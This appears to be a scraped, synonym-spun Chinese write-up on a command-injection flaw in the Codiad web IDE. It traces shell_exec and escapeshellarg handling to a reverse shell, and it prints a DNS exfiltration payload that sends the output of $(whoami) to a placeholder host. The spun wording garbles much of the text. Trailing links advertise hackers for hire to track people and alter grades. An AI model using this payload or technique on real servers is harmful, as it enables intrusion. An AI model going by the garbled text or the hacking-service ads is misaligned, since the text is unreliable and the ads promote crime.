Codiad在线IDE结构缝隙发掘

访客5年前黑客工具975

简介 :
Codiad 是一个开源根据Web的IDE应用程序,用于在线编写和修改代码。
库房 :
https://github.com/Codiad/Codiad
环境建立 :
经过phpstudy建立根底,并敞开Xdebug 。
可参阅https://blog.csdn.net/flyingdream123/Article/details/69358819进行环境装备。
缝隙发掘进程:
经过cve缝隙库对Codiad以往缝隙进行查询,发现该结构对shell_exec()函数的处理上曾多次呈现问题,将针对点确认在了对该函数的调用上。

 

上一个版别中该处呈现了指令履行缝隙,官网或许现已修补,先不考虑。
确认find()函数调用

$cmd 参数由$input 设置
$input由$this->query设置

this->query参数经过get传参获取
查找对find()调用的方位

 


测验更改action参数值为find并动态调试调查

在进入action判别前,对path参数进行了断定,一切此刻必定要注意你当时目录的姓名

走到这儿今后,经过shell_exec履行拼接好的操作,咱们可以清楚的看见此刻咱们结构query参数被””包含着,参阅上一个代码履行缝隙的阐明,在调用escapeshellarg函数对传入参数进行处理后,如果有””包含着,则依然可以进行指令履行。

经过现有判别,咱们开端结构payload,由于结构参数为Linux下,所以不得不开端建立linux试验环境,参阅http://www.freebuf.com/articles/web/141788.html进行linux环境建立

将没有查询成果时回来信息修改为履行的$cmd
$this->message = $cmd; 便于咱们检查履行的指令
选用dns外带查询判别是否有指令履行存在

需注意在“ 中再履行子指令应该运用$()履行

由此确认了该参数的确存在指令履行缝隙。
现在测验反弹一下shell
服务器翻开监听

 


发现shell成功反弹。
对demo站进行测验。

履行句子后,无shell回来,测验一下其他指令
`ping –c 1 $(whoami) .xxx.xxx.io“  发现dns外带,依然可以得到信息,证明指令履行是存在的,
考虑是不是存在其他约束。

[1] [2]  黑客接单网

相关文章

通过手机号找人,找黑客定位家人的电话位置算违法嘛,去哪里能找靠谱的黑客

愈加强壮的Network Spooferdomain="*"/>print ?n?;  咱们将会持续对遭到侵略的网站进行盯梢和剖析,咱们希望对这些现代缝隙运用东西有更深化的了解,并向咱们的客户供...

怎么禁用一些php风险函数

 phpinfo()  功用描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。  风险等级:中  passthru()  功用描述:答应履行一个外部程序并回显输出,类似于 exec()。...

安全加固,大学挂科找黑客改分可以吗,网上找信誉黑客

外网:if ($action == 'upload_zip') {在某些情况下,运用正常的SQL注入是无效的。 在这种时分SQL盲注就会派上用场了。 SQL盲注进犯的要点便是有用和无效查询之间的差异。...

黑客网接单_黑客找地址

正如上面的视频说的那样,其实所谓的“智能机器人”便是“复读机”,他们会依照“故事分支”去进行后续的语音播映,并依据“故事分支”的要求去进行“循环”和“A-B段复读”。 咱们发现了许多运用俄语的歹意安排...

Python安全编码攻略

0x00 前语 from:http://sector.ca/Portals/17/Presentations15/SecTor_Branca.pdf 这个pdf中深化Python的中心库进行剖析,而且...

黑客接单定做软件_网上被骗找黑客有用吗

315晚会上只阐明晰“探针盒子”能够获取手机MAC地址并与现存的数据库进行比对,匹配到后进行打扰。 示例:Envoy头部到Fuzzer的映射黑客接单定做软件,网上被骗找黑客有用吗 从xml中解码可履行...